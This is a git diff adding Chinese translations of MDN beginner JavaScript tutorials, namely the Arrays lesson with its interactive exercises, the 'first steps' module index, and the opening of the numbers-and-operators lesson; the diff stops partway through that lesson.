<li>在您的控制台中输入以下内容: + <pre class="brush: js">shopping[0]; +// returns "bread"</pre> + </li> + <li>您还可以简单地为单个数组元素提供新值来修改数组中的元素。 例如: + <pre class="brush: js">shopping[0] = 'tahini'; +shopping; +// shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]</pre> + + <div class="note"><strong>Note</strong>: 我们以前说过,但还是提醒一下 —— 电脑从 0 开始计数!</div> + </li> + <li> + <p>请注意,数组中包含数组的话称之为多维数组。 您可以通过将两组方括号链接在一起来访问数组内的另一个数组。 例如,要访问数组内部的一个项目,即 <code>random</code> 数组中的第三个项目(参见上一节),我们可以这样做:</p> + + <pre class="brush: js">random[2][2];</pre> + </li> + <li>在继续之前,尝试对您的数组示例进行一些修改。 玩一玩,看看哪些有效,哪些无效。</li> +</ol> + +<h3 id="获取数组长度">获取数组长度</h3> + +<p>你可以通过使用 {{jsxref("Array.prototype.length","length")}} 属性获取数组的长度(数组中有多少项元素),这与查找字符串的长度(以字符为单位)完全相同 。 尝试以下代码:</p> + +<pre class="brush: js">sequence.length; +// should return 7</pre> + +<p>虽然 length 属性也有其他用途,但最常用于循环(循环遍历数组中的所有项)。 例如:</p> + +<pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13]; +for (let i = 0; i < sequence.length; i++) { + console.log(sequence[i]); +}</pre> + +<p>您将在以后的文章中正确地了解循环,但简而言之,这段代码的意思是:</p> + +<ol> + <li>在数组中的元素编号 0 开始循环。</li> + <li>在元素编号等于数组长度的时候停止循环。 这适用于任何长度的数组,但在这种情况下,它将在编号 7 的时候终止循环(这很好,因为我们希望最后一位元素的编号是 6)。</li> + <li>对于每个元素,使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Console/log">console.log()</a> 将其打印到浏览器控制台。</li> +</ol> + +<h2 id="一些有用的数组方法">一些有用的数组方法</h2> + +<p>在本节中,我们将介绍一些相当有用的数组方法,这些方法允许我们将字符串拆分为字符串数组,反之亦然,以及添加或删除元素。</p> + +<h3 id="字符串和数组之间的转换">字符串和数组之间的转换</h3> + +<p>通常,您会看到一个包含在一个长长的字符串中的原始数据,您可能希望将有用的项目分成更有用的表单,然后对它们进行处理,例如将它们显示在数据表中。 为此,我们可以使用 {{jsxref("String.prototype.split()","split()")}} 方法。 在其最简单的形式中,这需要一个参数,您要将字符串分隔的字符,并返回分隔符之间的子串,作为数组中的项。</p> + +<div class="note"> +<p><strong>Note</strong>: 好吧,从技术上讲,这是一个字符串方法,而不是一个数组方法,但是我们把它放在数组中,因为它在这里很合适。</p> +</div> + +<ol> + <li>我们来玩一下这个方法,看看它是如何工作的。 首先,在控制台中创建一个字符串: + <pre class="brush: js">let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';</pre> + </li> + <li>现在我们用每个逗号分隔它: + <pre class="brush: js">let myArray = myData.split(','); +myArray;</pre> + </li> + <li>最后,尝试找到新数组的长度,并从中检索一些项目: + <pre class="brush: js">myArray.length; +myArray[0]; // the first item in the array +myArray[1]; // the second item in the array +myArray[myArray.length-1]; // the last item in the array</pre> + </li> + <li>您也可以使用 {{jsxref("Array.prototype.join()","join()")}} 方法进行相反的操作。 尝试以下: + <pre class="brush: js">let myNewString = myArray.join(','); +myNewString;</pre> + </li> + <li>将数组转换为字符串的另一种方法是使用 {{jsxref("Array.prototype.toString()","toString()")}} 方法。 <code>toString()</code> 可以比 <code>join()</code> 更简单,因为它不需要一个参数,但更有限制。 使用 <code>join()</code> 可以指定不同的分隔符(尝试使用与逗号不同的字符运行步骤4)。 + <pre class="brush: js">let dogNames = ["Rocket","Flash","Bella","Slugger"]; +dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre> + </li> +</ol> + +<h3 id="添加和删除数组项">添加和删除数组项</h3> + +<p>我们还没有涵盖添加和删除数组元素,现在让我们来看看。 我们将使用在上一节中最后提到的 <code>myArray</code> 数组。 如果您尚未遵循该部分,请先在控制台中创建数组:</p> + +<pre class="brush: js">let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre> + +<p>首先,要在数组末尾添加或删除一个项目,我们可以使用 {{jsxref("Array.prototype.push()","push()")}} 和 {{jsxref("Array.prototype.pop()","pop()")}}。</p> + +<ol> + <li>让我们先使用 <code>push()</code> —— 注意,你需要添加一个或多个要添加到数组末尾的元素。 尝试下面的代码: + + <pre class="brush: js">myArray.push('Cardiff'); +myArray; +myArray.push('Bradford', 'Brighton'); +myArray; +</pre> + </li> + <li>当方法调用完成时,将返回数组的新长度。 如果要将新数组长度存储在变量中。例如: + <pre class="brush: js">var newLength = myArray.push('Bristol'); +myArray; +newLength;</pre> + </li> + <li>从数组中删除最后一个元素的话直接使用 <code>pop()</code> 就可以。 例如: + <pre class="brush: js">myArray.pop();</pre> + </li> + <li>当方法调用完成时,将返回已删除的项目。 你也可以这样做: + <pre class="brush: js">let removedItem = myArray.pop(); +myArray; +removedItem;</pre> + </li> +</ol> + +<p>{{jsxref("Array.prototype.unshift()","unshift()")}} 和 {{jsxref("Array.prototype.shift()","shift()")}} 从功能上与 {{jsxref("Array.prototype.push()","push()")}} 和 {{jsxref("Array.prototype.pop()","pop()")}} 完全相同,只是它们分别作用于数组的开始,而不是结尾。</p> + +<ol> + <li><font face="Open Sans, arial, sans-serif">首先 </font><code>unshift()</code> ——尝试一下这个命令: + + <pre class="brush: js">myArray.unshift('Edinburgh'); +myArray;</pre> + </li> + <li>现在 <code>shift()</code> —— 尝试一下! + <pre class="brush: js">let removedItem = myArray.shift(); +myArray; +removedItem;</pre> + </li> +</ol> + +<h2 id="积极学习:打印这些产品">积极学习:打印这些产品</h2> + +<p>我们回到前面描述的例子 —— 打印出发票上的产品名称和价格,然后计算总价格并将其印在底部。 在下面的可编辑示例中,包含数字的注释 —— 每个注释标记都是您必须向代码添加内容的地方。 它们如下:</p> + +<ol> + <li>在 <code>// number 1</code> 注释下面是一些字符串,每个字符串包含一个产品名称和一个冒号分隔的价格。 我们希望您将其转换为一个数组,并将其存储在名为 <code>products</code> 的数组中。</li> + <li>与 <code>// number 2</code> 注释同一行的是 for 循环的开头。 在这行中,我们目前有 <code>i <= 0</code>,这是一个条件测试,导致 <a href="/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash#循环(Loop)">for循环</a> 立即停止,因为它说“当 <code>i</code> 不再小于或等于0”时停止,而 <code>i</code> 从0开始。 我们希望您使用条件测试来替换它,当 <code>i</code> 不再小于 <code>products</code> 数组的长度时,该条件测试会停止循环。</li> + <li>就在 <code>// number 3</code> 注释的下方,我们希望您编写一行代码,将当前数组项目(名称:价格)分成两个独立的项目,一个只包含该名称,一个只包含该价格。 如果您不确定如何执行此操作,请参阅<a href="/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">有用的字符串方法</a>文章以获得一些帮助,甚至更好的看看本文中的{{anch("转换字符串和数组")}}部分。</li> + <li>作为上述代码行的一部分,您还需要将价格从字符串转换为数字。 如果你不记得如何做,请查看<a href="/zh-CN/docs/Learn/JavaScript/First_steps/Strings#创建一个字符串">第一个字符串</a>文章。</li> + <li>有一个名为 <code>total</code> 的变量被创建,并在代码的顶部赋值为 0。 在循环内(在 <code>// number 4</code> 注释下面),我们希望您添加一行,将当前项目价格添加到循环中的迭代变量,以便在代码结尾处将正确的总数打印到发票上。 您可能需要一个赋值运算符来执行此操作。</li> + <li>我们希望您改变 <code>// number 5</code> 注释的行,以便使 <code>itemText</code> 变量等于“当前项目名称 - $ 当前项目价格”,例如“Shoes - $ 23.99”,以此将每个项目的正确信息都印在发票上。 这只是简单的字符串连接,您应该对此很熟悉。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html"><div class="output" style="min-height: 150px;"> + +<ul> + +</ul> + +<p></p> + +</div> + +<textarea id="code" class="playable-code" style="height: 370px;"> +var list = document.querySelector('.output ul'); +var totalBox = document.querySelector('.output p'); +var total = 0; +list.innerHTML = ''; +totalBox.textContent = ''; +// number 1 + 'Underpants:6.99' + 'Socks:5.99' + 'T-shirt:14.99' + 'Trousers:31.99' + 'Shoes:23.99'; + +for (var i = 0; i <= 0; i++) { // number 2 + // number 3 + + // number 4 + + // number 5 + itemText = 0; + + var listItem = document.createElement('li'); + listItem.textContent = itemText; + list.appendChild(listItem); +} + +totalBox.textContent = 'Total: $' + total.toFixed(2); +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 600) }}</p> + +<h2 id="积极学习:前5个搜索">积极学习:前5个搜索</h2> + +<p>当您在 Web 程序中维护当前活动元素的记录时,{{jsxref("Array.prototype.push()","push()")}} 和 {{jsxref("Array.prototype.pop()","pop()")}} 是不错的方法。 例如,在动画场景中,您可能会有一系列表示当前显示的背景图像的对象,并且由于性能或混乱原因,您可能只需要一次显示 50 个。 当创建新对象并将其添加到数组中时,可以从数组中删除较旧的对象以保持所需的数量。</p> + +<p>在这个例子中,我们将展示一种更简单的使用方法 - 在这里我们给你一个假的搜索网站,一个搜索框。 这个想法是,当在搜索框中输入时,列表中会显示5个先前的搜索字词。 当列表项目数量超过 5 时,每当新项目被添加到顶部时,最后一个项目开始被删除,因此总是显示5个以前的搜索字词。</p> + +<div class="note"> +<p><strong>Note</strong>: 在真正的搜索应用中,您可能可以点击先前的搜索字词返回上一次搜索,并显示实际的搜索结果! 我们现在只是保持简单的逻辑。</p> +</div> + +<p>要完成该应用程序,我们需要您:</p> + +<ol> + <li>在 <code>//number 1</code> 注释下面添加一行,将输入到搜索框中的当前值添加到数组的开头。 这可以使用 <code>searchInput.value</code> 检索。</li> + <li>在 <code>// number 2</code> 注释下方添加一行,该行删除数组末尾的当前值。</li> +</ol> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html"><div class="output" style="min-height: 150px;"> + +<input type="text"><button>Search</button> + +<ul> + +</ul> + +</div> + +<textarea id="code" class="playable-code" style="height: 370px;"> +var list = document.querySelector('.output ul'); +var searchInput = document.querySelector('.output input'); +var searchBtn = document.querySelector('.output button'); + +list.innerHTML = ''; + +var myHistory = []; + +searchBtn.onclick = function() { + // 如果搜索框不为空,我们则将搜索词添加到开头 + if (searchInput.value !== '') { + // number 1 + + // 清空显示的搜索关键词列表,防止显示 + // 每次输入搜索词都会重新生成显示的内容 + list.innerHTML = ''; + + // 通过循环遍历,显示所有的搜索关键词 + for (var i = 0; i < myHistory.length; i++) { + var itemText = myHistory[i]; + var listItem = document.createElement('li'); + listItem.textContent = itemText; + list.appendChild(listItem); + } + + // 如果数组的长度大于 5,那么便移除旧的搜索关键词 + if (myHistory.length >= 5) { + // number 2 + + } + + // 清空并聚焦到搜索框,准备下一次的搜索 + searchInput.value = ''; + searchInput.focus(); + } +} +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +</pre> + +<pre class="brush: js">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var code = textarea.value; + +function updateCode() { + eval(textarea.value); +} + +reset.addEventListener('click', function() { + textarea.value = code; + updateCode(); +}); + +solution.addEventListener('click', function() { + textarea.value = jsSolution; + updateCode(); +}); + +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n var itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 600) }}</p> + +<h2 id="总结">总结</h2> + +<p>阅读本文后,我们相信您会明白数组是很有用的; 你会看到它们在 JavaScript 中随处可见,通常与循环相关,以便对数组中的每个元素做同样的事情。 我们将教你所有有用的基础知识,了解下一个模块中的循环,但现在你应该给自己鼓掌,并稍加休息; 您已经完成了本单元中的所有文章!</p> + +<p>唯一需要做的就是通过这个模块的评估,这将测试你对之前的文章的理解。</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> — 数组及其表兄弟类型阵列的高级指导。</li> + <li>{{jsxref("Array")}} — Array 对象引用页面 - 有关此页面中讨论功能的详细参考指南等。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</p> + + + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/index.html b/files/zh-cn/learn/javascript/first_steps/index.html new file mode 100644 index 0000000000..e53fc2761f --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/index.html @@ -0,0 +1,57 @@ +--- +title: JavaScript 第一步 +slug: Learn/JavaScript/First_steps +tags: + - JavaScript + - 入门 + - 指南 + - 新手 +translation_of: Learn/JavaScript/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">在第一个 JavaScript 板块,带领各位体验编写 JavaScript 程序前,首先回答一些基本问题:「什么是 JavaScript?」,「它看上去是什么样的?」,「它能做什么?」。此后,我们将详细讨论一些关键构件,例如变量、字符串、数值和数组。</p> + +<h2 id="事前准备">事前准备</h2> + +<p>学习这个板块前,你不需要预先了解任何 JavaScript 知识,但你应当对 HTML 和 CSS 有所熟悉。我们建议学习 JavaScript 前,先完成以下板块阅读:</p> + +<ul> + <li><a href="/zh-CN/docs/Learn/Getting_started_with_the_web">开始使用 Web</a>(包括 <a href="/zh-CN/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript 基础简介</a>)。</li> + <li><a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML 简介</a>。</li> + <li><a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS 简介</a>。</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong>如果你无法在你使用的电脑/平板/其他设备上创建自己的文件,尝试使用在线编程应用来运行(大部分)代码示例,例如 <a href="http://jsbin.com/">JSBin</a> 和 <a href="https://thimble.mozilla.org/">Thimble</a>。</p> +</div> + +<h2 id="学习指南">学习指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_is_JavaScript">什么是 JavaScript?</a></dt> + <dd>欢迎来到 MDN JavaScript 新手课程!第一篇文章,我们将从较高层次审视 JavaScript,解答诸如「它是什么?」、「它在做些什么?」的问题,确保你理解 JavaScript 的用途。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></dt> + <dd>你已经学习了一些 JavaScript 理论,了解了可以用它做什么,接下来我们将通过一个非常实用的教程,带给你一节 JavaScript 基本特性速成课。在这里你将一步一步构建出一个「猜数字」游戏。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">哪里出错了?JavaScript 疑难解答</a></dt> + <dd>构建上篇文章中的「猜数字」游戏时,你可能发现它没法运行。不要害怕——这篇文章来解救正为问题挠头的你,它为你提供一些从 JavaScript 程序中发现并解决问题的思路。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables">存储你需要的信息——变量</a></dt> + <dd>读过最近几篇文章,你应当了解 JavaScript 是什么,它能为你做什么,如何搭配其他 web 技术使用,以及从较高层次来看,它的主要特性是什么样的。这篇文章,我们将深入真正的基础,看看如何使用 JavaScript 的基本构件——变量。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Math">JavaScript 中的基本运算——数值和运算符</a></dt> + <dd>这一课我们讨论 JavaScript 的运算——如何将运算符与其他特性结合使用,完美操作数值来实现需求。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Strings">文字处理——JavaScript 字符串</a></dt> + <dd>接下来将目光转向字符串——编程世界中文字片段被称为字符串。本文涉及你在学习 JavaScript 时应当了解的有关字符串的所有常见情形,例如生成字符串、字符串中的引用以及合并字符串。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">实用字符串方法</a></dt> + <dd>我们已经了解字符串的基本内容,接下来再上一个台阶,思考利用字符串内建方法实现的实用操作,例如获取字符串长度、字符串合并与分割、替换字符串中特定字符,等等。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Arrays">数组</a></dt> + <dd>这个版块最后一篇文章,我们来看数组——干净整洁地把一连串数据项存储在同一个变量名下。这里我们要理解为什么说它实用,探索如何创建数组,如何获取、添加、删除数组中的项目等等内容。</dd> +</dl> + +<h2 id="自我评估">自我评估</h2> + +<p>下面的评估会检验你对上述学习指南中 JavaScript 基础的理解。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Silly_story_generator">笑话生成器</a></dt> + <dd>这项评估中,你将运用你在这个版块的文章中学到的知识,构建一个生成随机笑话的好玩 app。玩得开心!</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/first_steps/math/index.html b/files/zh-cn/learn/javascript/first_steps/math/index.html new file mode 100644 index 0000000000..b9bb3e012f --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/math/index.html @@ -0,0 +1,429 @@ +--- +title: JavaScript中的基础数学 — 数字和操作符 +slug: Learn/JavaScript/First_steps/Math +translation_of: Learn/JavaScript/First_steps/Math +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">在本次课程中,我们讨论 JavaScript 中的数学 — 我们如何使用 {{Glossary("Operator","运算符")}} 和其他功能来成功地操作数字以完成我们的请求。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本的计算机知识,对HTML和CSS初步了解,知道JavaScript是什么。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>熟悉 JavaScript 中 Math 的基础知识。</td> + </tr> + </tbody> +</table> + +<h2 id="人人都爱数学">人人都爱数学</h2> + +<p>好吧,可能不是。有些人喜欢数学,有些人可能从在学校必须学习乘法表和长除法时就讨厌数学,还有人介于两者之间。但我们都不能否认,数学是生活的基本组成部分,我们离不了它。尤其如此,当我们学习编写 JavaScript 程序(或任何其他语言),我们所做的很多事情都依赖于处理数值数据,计算新值等。你将不会惊讶地认识到 JavaScript 有一套可用的全功能的数学功能。</p> + +<p>本文仅讨论您现在需要了解的基本部分。</p> + +<h3 id="数字类型">数字类型</h3> + +<p>在编程中,即使是人人熟知的最普遍的十进制数,也比你想象的要复杂的多。我们使用不同的术语来描述不同类型的十进制数,例如:</p> + +<ul> + <li><strong>整数</strong> 就是整数,例如 10, 400, 或者 -5.</li> + <li><strong>浮点数</strong> (浮点) 有小数点或小数位,例如 12.5,和 56.7786543。</li> + <li><strong>双精度</strong>双精度是一种特定类型的浮点数,它们具有比标准浮点数更高的精度(这意味着它们精确到更大的小数位数)。</li> +</ul> + +<p>我们甚至有不同类型的数字系统! 十进制是基数10(意味着它在每列使用0-9),但是我们也有这样的东西:</p> + +<ul> + <li><strong>二进制</strong> — 计算机的最基础语言; 0s and 1s</li> + <li><strong>八进制</strong> — 基数8,每列使用0-7</li> + <li><strong>十六进制</strong> — 基数16,每列使用0-9,然后使用a-f。 在CSS中设置颜色时,可能会遇到这些数字。</li> +</ul> + +<p>在你开始担心你的大脑混乱之前,先停下来吧! 一开始,我们将在本课程中坚持使用十进制数; 你很少会遇到需要开始考虑其他类型的情况,如果有的话。</p> + +<p>第二个好消息是,与其他一些编程语言不同,JavaScript只有一个数据类型用来表示数字(包括 integers 和 decimals ),您猜对了,{{jsxref("Number")}}。 这意味着,你在JavaScript中处理的任何类型的数字,都以完全相同的方式处理它们。</p> + +<h3 id="这是我们的全部数字">这是我们的全部数字</h3> + +<p>让我们快点玩一些数字,以重新定义我们所需要的基本语法。 在您的<a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">开发工具JavaScript控制台</a>中输入下面列出的命令。</p> + +<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/">在新窗口中打开</a></strong></p> + +<ol> + <li>首先,我们先声明一对变量,并分别用一个整数和一个浮点数来初始化它们,然后再输入变量名来检查是否正确: + <pre class="brush: js notranslate">let myInt = 5; +let myFloat = 6.667; +myInt; +myFloat;</pre> + </li> + <li>数值键入不带引号 —— 在继续之前尝试声明和初始化更多包含数字的变量。</li> + <li>现在我们来看看我们的原始变量是否是相同的数据类型。 在JavaScript中有一个称为{{jsxref("Operators / typeof", "typeof")}} 的运算符。 输入如下所示的两行: + <pre class="brush: js notranslate">typeof myInt; +typeof myFloat;</pre> + 在这两种情况下,都应该返回 <code>"number"</code> —— 这使得事情变得更简单,因为若是不同的数字具有不同的数据类型,那么我们还须以不同的方式处理它们。呦!</li> +</ol> + +<h2 id="算术运算符">算术运算符</h2> + +<p>算术运算符是我们用来做和的基本运算符:</p> + +<table class="standard-table" style="height: 321px; width: 852px;"> + <thead> + <tr> + <th scope="col">运算符</th> + <th scope="col">名称</th> + <th scope="col">作用</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+</code></td> + <td>加法</td> + <td>两个数相加。</td> + <td><code>6 + 9</code></td> + </tr> + <tr> + <td><code>-</code></td> + <td>减法</td> + <td>从左边减去右边的数。</td> + <td><code>20 - 15</code></td> + </tr> + <tr> + <td><code>*</code></td> + <td>乘法</td> + <td>两个数相乘。</td> + <td><code>3 * 7</code></td> + </tr> + <tr> + <td><code>/</code></td> + <td>除法</td> + <td>用右边的数除左边的数</td> + <td><code>10 / 5</code></td> + </tr> + <tr> + <td><code>%</code></td> + <td>求余(有时候也叫取模)</td> + <td> + <p>在你将左边的数分成同右边数字相同的若干整数部分后,返回剩下的余数</p> + </td> + <td><code>8 % 3</code> (返回 2,8除以3的倍数,余下2 。)</td> + </tr> + <tr> + <td><code>**</code></td> + <td>幂</td> + <td> + <p>取底数的指数次方,即指数所指定的底数相乘。它在EcmaScript 2016 中首次引入。</p> + </td> + <td><code>5 ** 5</code> (返回 3125,相当于 <code>5 * 5 * 5 * 5 * 5</code> 。)</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Note</strong>: 你以后有时候会看到参与算术计算的数字被称为 操作数({{Glossary("Operand", "operands")}})。</p> +</div> + +<div class="blockIndicator note"> +<p>Note: 有时你可能会看到使用较旧的 {{jsxref("Math.pow()")}} 方法表达的指数,该方法的工作方式非常相似。 例如,在 <code>Math.pow(7, 3)</code> 中,<code>7</code> 是基数,<code>3</code> 是指数,因此表达式的结果是 <code>343</code>。 <code>Math.pow(7, 3)</code> 相当于 <code>7 ** 3</code>。</p> +</div> + +<p>我们可能不需要教你如何做基础数学,但我们想测试你对所涉及的语法的理解。 尝试将下面的示例输入到<a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">开发者工具JavaScript控制台</a>中。</p> + +<ol> + <li>首先尝试输入一些简单的例子,例如 + <pre class="brush: js notranslate">10 + 7 +9 * 8 +60 % 3</pre> + </li> + <li>您还可以尝试声明变量并用数字初始化变量,然后尝试使用这些变量来求和 - 求和中变量的行为与直接用其持有的数来求和完全一样。 例如: + <pre class="brush: js notranslate">let num1 = 10; +let num2 = 50; +9 * num1; +num1 ** 3; +num2 / num1;</pre> + </li> + <li>最后在本节中,尝试输入一些更复杂的表达式,如: + <pre class="brush: js notranslate">5 + 10 * 3; +num2 % 9 * num1; +num2 + num1 / 8 + 2;</pre> + </li> +</ol> + +<p>这最后的一组计算中可能没有给出你期望的结果; 下面的部分也许能告诉你为什么。</p> + +<h3 id="运算符优先级">运算符优先级</h3> + +<p>我们来看看上面的最后一个例子,假设num2的值为50,num1的值为10(如上所述):</p> + +<pre class="brush: js notranslate">num2 + num1 / 8 + 2;</pre> + +<p>一般人,你会将它看作“50加10等于60”,然后“8加2等于10”,最后“60除以10等于6”。</p> + +<p>但浏览器的“10除以8等于1.25”,那么“50加1.25加2等于53.25”。</p> + +<p>这是因为<strong>运算符优先级</strong> —— 一些运算符将在计算算式(在编程中称为表达式)的结果时先于其他运算符被执行。 JavaScript中的运算符优先级与学校的数学课程相同 - 乘法和除法总是先完成,然后是加法和减法(总是从左到右进行计算)。</p> + +<p>如果想要改变计算优先级,可以把想要优先计算的部分用括号围住。 所以要得到结果为6,我们可以这样做:</p> + +<pre class="brush: js notranslate">(num2 + num1) / (8 + 2);</pre> + +<p>尝试看看。</p> + +<div class="note"> +<p><strong>Note</strong>: 注意:可以在<a href="/zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators#运算符优先级">表达式和运算符</a>中找到所有JavaScript运算符的完整列表及其优先级。</p> +</div> + +<h2 id="自增和自减运算符">自增和自减运算符</h2> + +<p>有时候,您需要反复把一个变量加1或减1。 这可以方便地使用增量(<code>++</code>)和递减( <code>--</code> )运算符来完成。 我们在<a href="/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a>文章的“猜数字”游戏中使用了++,当我们添加1到我们的guessCount变量来跟踪用户在每次转动之后剩下的猜测时。</p> + +<pre class="brush: js notranslate">guessCount++;</pre> + +<div class="note"> +<p><strong>Note</strong>: 它们最常用于 <a href="/zh-CN/docs/Web/JavaScript/Guide/Loops_and_iteration">循环</a> 中,您将在以后的课程中了解。 例如,假设您想循环查看价格表,并为每个价格增加销售税。 您可以使用循环依次查看每个值,并在每种情况下进行必要的计算,以添加销售税。 当需要时,增量器用于移动到下一个值。 我们实际上提供了一个简单的例子,显示了如何完成 —— <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/loop.html">在线查看效果</a>,并 <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/maths/loop.html">查看源代码</a>,看看是否可以发现增量器! 我们稍后将会详细介绍循环。</p> +</div> + +<p>我们来试试看你们的控制台。 首先,请注意,您不能将这些直接应用于一个数字,这可能看起来很奇怪,但是我们为变量赋值一个新的更新值,而不是对该值进行操作。 以下将返回错误:</p> + +<pre class="brush: js notranslate">3++;</pre> + +<p>所以,你只能增加一个现有的变量。 尝试这个:</p> + +<pre class="brush: js notranslate">let num1 = 4; +num1++;</pre> + +<p>好的,第二个奇怪的东西! 执行此操作时,您会看到返回值为4,这是因为浏览器返回当前值,然后增加变量。 如果您再次返回变量值,则可以看到它已经递增:</p> + +<pre class="brush: js notranslate">num1;</pre> + +<p>递减 <code>--</code> 同样如此,尝试以下操作:</p> + +<pre class="brush: js notranslate">let num2 = 6; +num2--; +num2;</pre> + +<div class="note"> +<p><strong>Note</strong>: 您可以使浏览器以其他方式进行操作 - 递增/递减变量,然后返回值 - 将操作符放在变量的开头,而不是结束。 再次尝试上面的例子,但这次使用 <code>++num1</code> 和 <code>--num2</code>。</p> +</div> + +<h2 id="赋值运算符">赋值运算符</h2> + +<p>赋值运算符是向变量分配值的运算符。 